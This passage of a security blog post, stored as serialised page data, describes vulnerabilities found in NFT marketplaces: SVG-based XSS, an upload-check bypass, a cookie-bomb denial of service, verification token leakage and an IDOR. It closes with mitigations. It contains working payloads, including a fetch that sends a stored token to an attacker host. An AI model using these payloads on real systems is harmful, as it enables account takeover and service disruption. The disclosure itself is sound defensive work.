stashh.io:",{"type":22,"tag":91,"props":38077,"children":38079},{"className":35359,"code":38078,"language":35361,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[38080],{"type":22,"tag":30,"props":38081,"children":38082},{"__ignoreMap":7},[38083],{"type":22,"tag":101,"props":38084,"children":38085},{"class":103,"line":104},[38086,38091,38095,38100,38105,38110,38114,38119,38123,38128,38132,38137,38141],{"type":22,"tag":101,"props":38087,"children":38088},{"style":926},[38089],{"type":27,"value":38090},"fetch",{"type":22,"tag":101,"props":38092,"children":38093},{"style":120},[38094],{"type":27,"value":980},{"type":22,"tag":101,"props":38096,"children":38097},{"style":6476},[38098],{"type":27,"value":38099},"`https://attacker-server.com/?token_leak=",{"type":22,"tag":101,"props":38101,"children":38102},{"style":108},[38103],{"type":27,"value":38104},"${",{"type":22,"tag":101,"props":38106,"children":38107},{"style":126},[38108],{"type":27,"value":38109},"localStorage",{"type":22,"tag":101,"props":38111,"children":38112},{"style":166},[38113],{"type":27,"value":231},{"type":22,"tag":101,"props":38115,"children":38116},{"style":926},[38117],{"type":27,"value":38118},"getItem",{"type":22,"tag":101,"props":38120,"children":38121},{"style":166},[38122],{"type":27,"value":980},{"type":22,"tag":101,"props":38124,"children":38125},{"style":6476},[38126],{"type":27,"value":38127},"'token'",{"type":22,"tag":101,"props":38129,"children":38130},{"style":166},[38131],{"type":27,"value":2261},{"type":22,"tag":101,"props":38133,"children":38134},{"style":108},[38135],{"type":27,"value":38136},"}",{"type":22,"tag":101,"props":38138,"children":38139},{"style":6476},[38140],{"type":27,"value":14388},{"type":22,"tag":101,"props":38142,"children":38143},{"style":120},[38144],{"type":27,"value":994},{"type":22,"tag":1760,"props":38146,"children":38148},{"id":38147},"svgs",[38149],{"type":27,"value":38150},"SVGs",{"type":22,"tag":23,"props":38152,"children":38153},{},[38154],{"type":27,"value":38155},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":22,"tag":23,"props":38157,"children":38158},{},[38159],{"type":27,"value":38160},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":22,"tag":91,"props":38162,"children":38164},{"className":35359,"code":38163,"language":35361,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[38165],{"type":22,"tag":30,"props":38166,"children":38167},{"__ignoreMap":7},[38168,38214,38251,38258,38288,38320,38348,38356,38372],{"type":22,"tag":101,"props":38169,"children":38170},{"class":103,"line":104},[38171,38176,38181,38186,38190,38195,38200,38204,38209],{"type":22,"tag":101,"props":38172,"children":38173},{"style":166},[38174],{"type":27,"value":38175},"\u003C?",{"type":22,"tag":101,"props":38177,"children":38178},{"style":126},[38179],{"type":27,"value":38180},"xml",{"type":22,"tag":101,"props":38182,"children":38183},{"style":126},[38184],{"type":27,"value":38185}," version",{"type":22,"tag":101,"props":38187,"children":38188},{"style":166},[38189],{"type":27,"value":1511},{"type":22,"tag":101,"props":38191,"children":38192},{"style":6476},[38193],{"type":27,"value":38194},"\"1.0\"",{"type":22,"tag":101,"props":38196,"children":38197},{"style":126},[38198],{"type":27,"value":38199}," encoding",{"type":22,"tag":101,"props":38201,"children":38202},{"style":166},[38203],{"type":27,"value":1511},{"type":22,"tag":101,"props":38205,"children":38206},{"style":6476},[38207],{"type":27,"value":38208},"\"UTF-8\"",{"type":22,"tag":101,"props":38210,"children":38211},{"style":166},[38212],{"type":27,"value":38213},"?>\n",{"type":22,"tag":101,"props":38215,"children":38216},{"class":103,"line":157},[38217,38222,38227,38232,38237,38242,38247],{"type":22,"tag":101,"props":38218,"children":38219},{"style":166},[38220],{"type":27,"value":38221},"\u003C!",{"type":22,"tag":101,"props":38223,"children":38224},{"style":126},[38225],{"type":27,"value":38226},"DOCTYPE",{"type":22,"tag":101,"props":38228,"children":38229},{"style":126},[38230],{"type":27,"value":38231}," svg",{"type":22,"tag":101,"props":38233,"children":38234},{"style":126},[38235],{"type":27,"value":38236}," PUBLIC",{"type":22,"tag":101,"props":38238,"children":38239},{"style":6476},[38240],{"type":27,"value":38241}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":22,"tag":101,"props":38243,"children":38244},{"style":6476},[38245],{"type":27,"value":38246}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":22,"tag":101,"props":38248,"children":38249},{"style":166},[38250],{"type":27,"value":527},{"type":22,"tag":101,"props":38252,"children":38253},{"class":103,"line":182},[38254],{"type":22,"tag":101,"props":38255,"children":38256},{"emptyLinePlaceholder":15},[38257],{"type":27,"value":1581},{"type":22,"tag":101,"props":38259,"children":38260},{"class":103,"line":367},[38261,38265,38270,38275,38279,38284],{"type":22,"tag":101,"props":38262,"children":38263},{"style":36372},[38264],{"type":27,"value":12726},{"type":22,"tag":101,"props":38266,"children":38267},{"style":108},[38268],{"type":27,"value":38269},"svg",{"type":22,"tag":101,"props":38271,"children":38272},{"style":126},[38273],{"type":27,"value":38274}," xmlns",{"type":22,"tag":101,"props":38276,"children":38277},{"style":166},[38278],{"type":27,"value":1511},{"type":22,"tag":101,"props":38280,"children":38281},{"style":6476},[38282],{"type":27,"value":38283},"\"http://www.w3.org/2000/svg\"",{"type":22,"tag":101,"props":38285,"children":38286},{"style":36372},[38287],{"type":27,"value":527},{"type":22,"tag":101,"props":38289,"children":38290},{"class":103,"line":398},[38291,38295,38300,38304,38308,38312,38316],{"type":22,"tag":101,"props":38292,"children":38293},{"style":36372},[38294],{"type":27,"value":36391},{"type":22,"tag":101,"props":38296,"children":38297},{"style":108},[38298],{"type":27,"value":38299},"title",{"type":22,"tag":101,"props":38301,"children":38302},{"style":36372},[38303],{"type":27,"value":14467},{"type":22,"tag":101,"props":38305,"children":38306},{"style":120},[38307],{"type":27,"value":35233},{"type":22,"tag":101,"props":38309,"children":38310},{"style":36372},[38311],{"type":27,"value":36426},{"type":22,"tag":101,"props":38313,"children":38314},{"style":108},[38315],{"type":27,"value":38299},{"type":22,"tag":101,"props":38317,"children":38318},{"style":36372},[38319],{"type":27,"value":527},{"type":22,"tag":101,"props":38321,"children":38322},{"class":103,"line":428},[38323,38327,38331,38335,38339,38344],{"type":22,"tag":101,"props":38324,"children":38325},{"style":36372},[38326],{"type":27,"value":36391},{"type":22,"tag":101,"props":38328,"children":38329},{"style":108},[38330],{"type":27,"value":36412},{"type":22,"tag":101,"props":38332,"children":38333},{"style":126},[38334],{"type":27,"value":36537},{"type":22,"tag":101,"props":38336,"children":38337},{"style":166},[38338],{"type":27,"value":1511},{"type":22,"tag":101,"props":38340,"children":38341},{"style":6476},[38342],{"type":27,"value":38343},"\"text/javascript\"",{"type":22,"tag":101,"props":38345,"children":38346},{"style":36372},[38347],{"type":27,"value":527},{"type":22,"tag":101,"props":38349,"children":38350},{"class":103,"line":997},[38351],{"type":22,"tag":101,"props":38352,"children":38353},{"style":120},[38354],{"type":27,"value":38355}," alert(document.domain);\n",{"type":22,"tag":101,"props":38357,"children":38358},{"class":103,"line":1032},[38359,38364,38368],{"type":22,"tag":101,"props":38360,"children":38361},{"style":36372},[38362],{"type":27,"value":38363}," \u003C/",{"type":22,"tag":101,"props":38365,"children":38366},{"style":108},[38367],{"type":27,"value":36412},{"type":22,"tag":101,"props":38369,"children":38370},{"style":36372},[38371],{"type":27,"value":527},{"type":22,"tag":101,"props":38373,"children":38374},{"class":103,"line":1063},[38375,38380,38384],{"type":22,"tag":101,"props":38376,"children":38377},{"style":36372},[38378],{"type":27,"value":38379}," \u003C/",{"type":22,"tag":101,"props":38381,"children":38382},{"style":108},[38383],{"type":27,"value":38269},{"type":22,"tag":101,"props":38385,"children":38386},{"style":36372},[38387],{"type":27,"value":527},{"type":22,"tag":23,"props":38389,"children":38390},{},[38391,38393,38400],{"type":27,"value":38392},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":22,"tag":80,"props":38394,"children":38397},{"href":38395,"rel":38396},"https://xtingles.com/",[84],[38398],{"type":27,"value":38399},"xtingles Marketplace",{"type":27,"value":231},{"type":22,"tag":23,"props":38402,"children":38403},{},[38404],{"type":27,"value":38405},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":22,"tag":23,"props":38407,"children":38408},{},[38409],{"type":27,"value":38410},"Below, we show you how we did it.",{"type":22,"tag":23,"props":38412,"children":38413},{},[38414],{"type":27,"value":38415},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":22,"tag":23,"props":38417,"children":38418},{},[38419],{"type":22,"tag":7959,"props":38420,"children":38422},{"alt":7,"src":38421},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":22,"tag":23,"props":38424,"children":38425},{},[38426],{"type":27,"value":38427},"After changing the extension inside the file name.",{"type":22,"tag":23,"props":38429,"children":38430},{},[38431],{"type":22,"tag":7959,"props":38432,"children":38434},{"alt":7,"src":38433},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":22,"tag":1760,"props":38436,"children":38438},{"id":38437},"svgs-return",[38439],{"type":27,"value":38440},"SVGs Return",{"type":22,"tag":23,"props":38442,"children":38443},{},[38444],{"type":27,"value":38445},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":22,"tag":23,"props":38447,"children":38448},{},[38449],{"type":27,"value":38450},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":22,"tag":23,"props":38452,"children":38453},{},[38454],{"type":27,"value":38455},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":22,"tag":91,"props":38457,"children":38461},{"className":38458,"code":38459,"language":38460,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[38462],{"type":22,"tag":30,"props":38463,"children":38464},{"__ignoreMap":7},[38465,38504,38535,38542,38569,38600,38627,38635,38643,38650,38662,38737,38745,38760],{"type":22,"tag":101,"props":38466,"children":38467},{"class":103,"line":104},[38468,38472,38476,38480,38484,38488,38492,38496,38500],{"type":22,"tag":101,"props":38469,"children":38470},{"style":166},[38471],{"type":27,"value":38175},{"type":22,"tag":101,"props":38473,"children":38474},{"style":126},[38475],{"type":27,"value":38180},{"type":22,"tag":101,"props":38477,"children":38478},{"style":126},[38479],{"type":27,"value":38185},{"type":22,"tag":101,"props":38481,"children":38482},{"style":166},[38483],{"type":27,"value":1511},{"type":22,"tag":101,"props":38485,"children":38486},{"style":6476},[38487],{"type":27,"value":38194},{"type":22,"tag":101,"props":38489,"children":38490},{"style":126},[38491],{"type":27,"value":38199},{"type":22,"tag":101,"props":38493,"children":38494},{"style":166},[38495],{"type":27,"value":1511},{"type":22,"tag":101,"props":38497,"children":38498},{"style":6476},[38499],{"type":27,"value":38208},{"type":22,"tag":101,"props":38501,"children":38502},{"style":166},[38503],{"type":27,"value":38213},{"type":22,"tag":101,"props":38505,"children":38506},{"class":103,"line":157},[38507,38511,38515,38519,38523,38527,38531],{"type":22,"tag":101,"props":38508,"children":38509},{"style":166},[38510],{"type":27,"value":38221},{"type":22,"tag":101,"props":38512,"children":38513},{"style":126},[38514],{"type":27,"value":38226},{"type":22,"tag":101,"props":38516,"children":38517},{"style":126},[38518],{"type":27,"value":38231},{"type":22,"tag":101,"props":38520,"children":38521},{"style":126},[38522],{"type":27,"value":38236},{"type":22,"tag":101,"props":38524,"children":38525},{"style":6476},[38526],{"type":27,"value":38241},{"type":22,"tag":101,"props":38528,"children":38529},{"style":6476},[38530],{"type":27,"value":38246},{"type":22,"tag":101,"props":38532,"children":38533},{"style":166},[38534],{"type":27,"value":527},{"type":22,"tag":101,"props":38536,"children":38537},{"class":103,"line":182},[38538],{"type":22,"tag":101,"props":38539,"children":38540},{"emptyLinePlaceholder":15},[38541],{"type":27,"value":1581},{"type":22,"tag":101,"props":38543,"children":38544},{"class":103,"line":367},[38545,38549,38553,38557,38561,38565],{"type":22,"tag":101,"props":38546,"children":38547},{"style":36372},[38548],{"type":27,"value":12726},{"type":22,"tag":101,"props":38550,"children":38551},{"style":108},[38552],{"type":27,"value":38269},{"type":22,"tag":101,"props":38554,"children":38555},{"style":126},[38556],{"type":27,"value":38274},{"type":22,"tag":101,"props":38558,"children":38559},{"style":166},[38560],{"type":27,"value":1511},{"type":22,"tag":101,"props":38562,"children":38563},{"style":6476},[38564],{"type":27,"value":38283},{"type":22,"tag":101,"props":38566,"children":38567},{"style":36372},[38568],{"type":27,"value":527},{"type":22,"tag":101,"props":38570,"children":38571},{"class":103,"line":398},[38572,38576,38580,38584,38588,38592,38596],{"type":22,"tag":101,"props":38573,"children":38574},{"style":36372},[38575],{"type":27,"value":36391},{"type":22,"tag":101,"props":38577,"children":38578},{"style":108},[38579],{"type":27,"value":38299},{"type":22,"tag":101,"props":38581,"children":38582},{"style":36372},[38583],{"type":27,"value":14467},{"type":22,"tag":101,"props":38585,"children":38586},{"style":120},[38587],{"type":27,"value":35233},{"type":22,"tag":101,"props":38589,"children":38590},{"style":36372},[38591],{"type":27,"value":36426},{"type":22,"tag":101,"props":38593,"children":38594},{"style":108},[38595],{"type":27,"value":38299},{"type":22,"tag":101,"props":38597,"children":38598},{"style":36372},[38599],{"type":27,"value":527},{"type":22,"tag":101,"props":38601,"children":38602},{"class":103,"line":428},[38603,38607,38611,38615,38619,38623],{"type":22,"tag":101,"props":38604,"children":38605},{"style":36372},[38606],{"type":27,"value":36391},{"type":22,"tag":101,"props":38608,"children":38609},{"style":108},[38610],{"type":27,"value":36412},{"type":22,"tag":101,"props":38612,"children":38613},{"style":126},[38614],{"type":27,"value":36537},{"type":22,"tag":101,"props":38616,"children":38617},{"style":166},[38618],{"type":27,"value":1511},{"type":22,"tag":101,"props":38620,"children":38621},{"style":6476},[38622],{"type":27,"value":38343},{"type":22,"tag":101,"props":38624,"children":38625},{"style":36372},[38626],{"type":27,"value":527},{"type":22,"tag":101,"props":38628,"children":38629},{"class":103,"line":997},[38630],{"type":22,"tag":101,"props":38631,"children":38632},{"style":120},[38633],{"type":27,"value":38634}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":22,"tag":101,"props":38636,"children":38637},{"class":103,"line":1032},[38638],{"type":22,"tag":101,"props":38639,"children":38640},{"style":120},[38641],{"type":27,"value":38642}," var Set_Cookie = Array(10000).join('a');\n",{"type":22,"tag":101,"props":38644,"children":38645},{"class":103,"line":1063},[38646],{"type":22,"tag":101,"props":38647,"children":38648},{"emptyLinePlaceholder":15},[38649],{"type":27,"value":1581},{"type":22,"tag":101,"props":38651,"children":38652},{"class":103,"line":1071},[38653,38658],{"type":22,"tag":101,"props":38654,"children":38655},{"style":120},[38656],{"type":27,"value":38657}," for (var i = 1; i \u003C 99; i++) ",{"type":22,"tag":101,"props":38659,"children":38660},{"style":108},[38661],{"type":27,"value":14886},{"type":22,"tag":101,"props":38663,"children":38664},{"class":103,"line":1110},[38665,38670,38674,38679,38683,38688,38693,38697,38701,38706,38710,38715,38719,38724,38728,38733],{"type":22,"tag":101,"props":38666,"children":38667},{"style":126},[38668],{"type":27,"value":38669}," document",{"type":22,"tag":101,"props":38671,"children":38672},{"style":166},[38673],{"type":27,"value":231},{"type":22,"tag":101,"props":38675,"children":38676},{"style":126},[38677],{"type":27,"value":38678},"cookie",{"type":22,"tag":101,"props":38680,"children":38681},{"style":166},[38682],{"type":27,"value":36907},{"type":22,"tag":101,"props":38684,"children":38685},{"style":6476},[38686],{"type":27,"value":38687},"'Cookie'",{"type":22,"tag":101,"props":38689,"children":38690},{"style":166},[38691],{"type":27,"value":38692}," + ",{"type":22,"tag":101,"props":38694,"children":38695},{"style":126},[38696],{"type":27,"value":7774},{"type":22,"tag":101,"props":38698,"children":38699},{"style":166},[38700],{"type":27,"value":38692},{"type":22,"tag":101,"props":38702,"children":38703},{"style":6476},[38704],{"type":27,"value":38705},"'='",{"type":22,"tag":101,"props":38707,"children":38708},{"style":166},[38709],{"type":27,"value":38692},{"type":22,"tag":101,"props":38711,"children":38712},{"style":126},[38713],{"type":27,"value":38714},"Set_Cookie",{"type":22,"tag":101,"props":38716,"children":38717},{"style":166},[38718],{"type":27,"value":38692},{"type":22,"tag":101,"props":38720,"children":38721},{"style":6476},[38722],{"type":27,"value":38723},"';Domain='",{"type":22,"tag":101,"props":38725,"children":38726},{"style":166},[38727],{"type":27,"value":38692},{"type":22,"tag":101,"props":38729,"children":38730},{"style":126},[38731],{"type":27,"value":38732},"Take_Domain",{"type":22,"tag":101,"props":38734,"children":38735},{"style":166},[38736],{"type":27,"value":1520},{"type":22,"tag":101,"props":38738,"children":38739},{"class":103,"line":1118},[38740],{"type":22,"tag":101,"props":38741,"children":38742},{"style":108},[38743],{"type":27,"value":38744}," }\n",{"type":22,"tag":101,"props":38746,"children":38747},{"class":103,"line":1158},[38748,38752,38756],{"type":22,"tag":101,"props":38749,"children":38750},{"style":36372},[38751],{"type":27,"value":38363},{"type":22,"tag":101,"props":38753,"children":38754},{"style":108},[38755],{"type":27,"value":36412},{"type":22,"tag":101,"props":38757,"children":38758},{"style":36372},[38759],{"type":27,"value":527},{"type":22,"tag":101,"props":38761,"children":38762},{"class":103,"line":1166},[38763,38767,38771],{"type":22,"tag":101,"props":38764,"children":38765},{"style":36372},[38766],{"type":27,"value":38379},{"type":22,"tag":101,"props":38768,"children":38769},{"style":108},[38770],{"type":27,"value":38269},{"type":22,"tag":101,"props":38772,"children":38773},{"style":36372},[38774],{"type":27,"value":527},{"type":22,"tag":23,"props":38776,"children":38777},{},[38778],{"type":27,"value":38779},"As a result, we're able to prevent the user from loading images.",{"type":22,"tag":53,"props":38781,"children":38783},{"id":38782},"authentication",[38784],{"type":27,"value":38785},"Authentication",{"type":22,"tag":23,"props":38787,"children":38788},{},[38789],{"type":22,"tag":6961,"props":38790,"children":38791},{},[38792,38794,38801],{"type":27,"value":38793},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":22,"tag":80,"props":38795,"children":38798},{"href":38796,"rel":38797},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[84],[38799],{"type":27,"value":38800},"great misfortune has occured",{"type":27,"value":231},{"type":22,"tag":1760,"props":38803,"children":38805},{"id":38804},"verification-token-leakage",[38806],{"type":27,"value":38807},"Verification Token Leakage",{"type":22,"tag":23,"props":38809,"children":38810},{},[38811],{"type":27,"value":38812},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":22,"tag":23,"props":38814,"children":38815},{},[38816],{"type":27,"value":38817},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":22,"tag":23,"props":38819,"children":38820},{},[38821,38826],{"type":22,"tag":6961,"props":38822,"children":38823},{},[38824],{"type":27,"value":38825},"Proof of Concept",{"type":27,"value":38827},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":22,"tag":23,"props":38829,"children":38830},{},[38831],{"type":27,"value":38832},"Here's the breakdown.",{"type":22,"tag":23,"props":38834,"children":38835},{},[38836],{"type":27,"value":38837},"First, we send the verification link to a user's email:",{"type":22,"tag":35342,"props":38839,"children":38840},{"style":35344},[38841],{"type":22,"tag":7959,"props":38842,"children":38846},{"src":38843,"alt":38844,"style":38845},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":22,"tag":23,"props":38848,"children":38849},{},[38850],{"type":27,"value":38851},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":22,"tag":1760,"props":38853,"children":38855},{"id":38854},"idor",[38856],{"type":27,"value":38857},"IDOR",{"type":22,"tag":23,"props":38859,"children":38860},{},[38861],{"type":22,"tag":6961,"props":38862,"children":38863},{},[38864,38866,38873],{"type":27,"value":38865},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":22,"tag":80,"props":38867,"children":38870},{"href":38868,"rel":38869},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[84],[38871],{"type":27,"value":38872},"insect",{"type":27,"value":231},{"type":22,"tag":23,"props":38875,"children":38876},{},[38877,38879,38885],{"type":27,"value":38878},"During a security assessment of the ",{"type":22,"tag":80,"props":38880,"children":38883},{"href":38881,"rel":38882},"https://rocki.com",[84],[38884],{"type":27,"value":35280},{"type":27,"value":38886},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":22,"tag":23,"props":38888,"children":38889},{},[38890],{"type":27,"value":38891},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":22,"tag":23,"props":38893,"children":38894},{},[38895],{"type":27,"value":38896},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":22,"tag":23,"props":38898,"children":38899},{},[38900,38902,38908,38910,38915],{"type":27,"value":38901},"Here is an example of a request that modifies another user's social media link to ",{"type":22,"tag":30,"props":38903,"children":38905},{"className":38904},[],[38906],{"type":27,"value":38907},"https://evil.com/",{"type":27,"value":38909},". To achieve this, we simply changed the ",{"type":22,"tag":30,"props":38911,"children":38913},{"className":38912},[],[38914],{"type":27,"value":7521},{"type":27,"value":38916}," field value to one that belongs to another user:",{"type":22,"tag":23,"props":38918,"children":38919},{},[38920],{"type":22,"tag":7959,"props":38921,"children":38923},{"alt":7,"src":38922},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":22,"tag":23,"props":38925,"children":38926},{},[38927],{"type":27,"value":38928},"The following screenshot is the response to our request:",{"type":22,"tag":23,"props":38930,"children":38931},{},[38932],{"type":22,"tag":7959,"props":38933,"children":38935},{"alt":7,"src":38934},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":22,"tag":53,"props":38937,"children":38939},{"id":38938},"preventative-action-steps-for-marketplaces",[38940],{"type":22,"tag":9370,"props":38941,"children":38942},{},[38943],{"type":27,"value":38944},"Preventative Action Steps for Marketplaces",{"type":22,"tag":23,"props":38946,"children":38947},{},[38948],{"type":27,"value":38949},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":22,"tag":23,"props":38951,"children":38952},{},[38953,38955,38961,38963,38969],{"type":27,"value":38954},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":22,"tag":30,"props":38956,"children":38958},{"className":38957},[],[38959],{"type":27,"value":38960},"innerText",{"type":27,"value":38962}," instead of ",{"type":22,"tag":30,"props":38964,"children":38966},{"className":38965},[],[38967],{"type":27,"value":38968},"innerHTML",{"type":27,"value":38970}," in client-side:",{"type":22,"tag":91,"props":38972,"children":38974},{"className":35359,"code":38973,"language":35361,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[38975],{"type":22,"tag":30,"props":38976,"children":38977},{"__ignoreMap":7},[38978],{"type":22,"tag":101,"props":38979,"children":38980},{"class":103,"line":104},[38981,38985,38989,38994,38998,39003,39007,39011,39015,39020],{"type":22,"tag":101,"props":38982,"children":38983},{"style":126},[38984],{"type":27,"value":36704},{"type":22,"tag":101,"props":38986,"children":38987},{"style":120},[38988],{"type":27,"value":231},{"type":22,"tag":101,"props":38990,"children":38991},{"style":926},[38992],{"type":27,"value":38993},"getElementById",{"type":22,"tag":101,"props":38995,"children":38996},{"style":120},[38997],{"type":27,"value":980},{"type":22,"tag":101,"props":38999,"children":39000},{"style":6476},[39001],{"type":27,"value":39002},"'nftCollectionName'",{"type":22,"tag":101,"props":39004,"children":39005},{"style":120},[39006],{"type":27,"value":24730},{"type":22,"tag":101,"props":39008,"children":39009},{"style":126},[39010],{"type":27,"value":38960},{"type":22,"tag":101,"props":39012,"children":39013},{"style":166},[39014],{"type":27,"value":960},{"type":22,"tag":101,"props":39016,"children":39017},{"style":126},[39018],{"type":27,"value":39019}," nftCollectionName",{"type":22,"tag":101,"props":39021,"children":39022},{"style":120},[39023],{"type":27,"value":1520},{"type":22,"tag":23,"props":39025,"children":39026},{},[39027],{"type":27,"value":39028},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":22,"tag":91,"props":39030,"children":39032},{"className":35359,"code":39031,"language":35361,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[39033],{"type":22,"tag":30,"props":39034,"children":39035},{"__ignoreMap":7},[39036],{"type":22,"tag":101,"props":39037,"children":39038},{"class":103,"line":104},[39039,39044,39049,39053,39058,39062,39067,39071,39076],{"type":22,"tag":101,"props":39040,"children":39041},{"style":108},[39042],{"type":27,"value":39043},"var",{"type":22,"tag":101,"props":39045,"children":39046},{"style":126},[39047],{"type":27,"value":39048}," sanitizedInput",{"type":22,"tag":101,"props":39050,"children":39051},{"style":166},[39052],{"type":27,"value":960},{"type":22,"tag":101,"props":39054,"children":39055},{"style":126},[39056],{"type":27,"value":39057}," DOMPurify",{"type":22,"tag":101,"props":39059,"children":39060},{"style":120},[39061],{"type":27,"value":231},{"type":22,"tag":101,"props":39063,"children":39064},{"style":926},[39065],{"type":27,"value":39066},"sanitize",{"type":22,"tag":101,"props":39068,"children":39069},{"style":120},[39070],{"type":27,"value":980},{"type":22,"tag":101,"props":39072,"children":39073},{"style":126},[39074],{"type":27,"value":39075},"userInput",{"type":22,"tag":101,"props":39077,"children":39078},{"style":120},[39079],{"type":27,"value":994},{"type":22,"tag":23,"props":39081,"children":39082},{},[39083,39085,39092],{"type":27,"value":39084},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":22,"tag":80,"props":39086,"children":39089},{"href":39087,"rel":39088},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[84],[39090],{"type":27,"value":39091},"Content-Security-Policy",{"type":27,"value":39093}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":22,"tag":23,"props":39095,"children":39096},{},[39097],{"type":27,"value":39098},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":22,"tag":23,"props":39100,"children":39101},{},[39102,39104,39111],{"type":27,"value":39103},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":22,"tag":80,"props":39105,"children":39108},{"href":39106,"rel":39107},"https://www.techtarget.com/whatis/definition/whitelist",[84],[39109],{"type":27,"value":39110},"allow-list",{"type":27,"value":39112}," :",{"type":22,"tag":91,"props":39114,"children":39116},{"className":35359,"code":39115,"language":35361,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[39117],{"type":22,"tag":30,"props":39118,"children":39119},{"__ignoreMap":7},[39120,39149,39191,39221],{"type":22,"tag":101,"props":39121,"children":39122},{"class":103,"line":104},[39123,39127,39132,39136,39140,39145],{"type":22,"tag":101,"props":39124,"children":39125},{"style":108},[39126],{"type":27,"value":13660},{"type":22,"tag":101,"props":39128,"children":39129},{"style":126},[39130],{"type":27,"value":39131}," 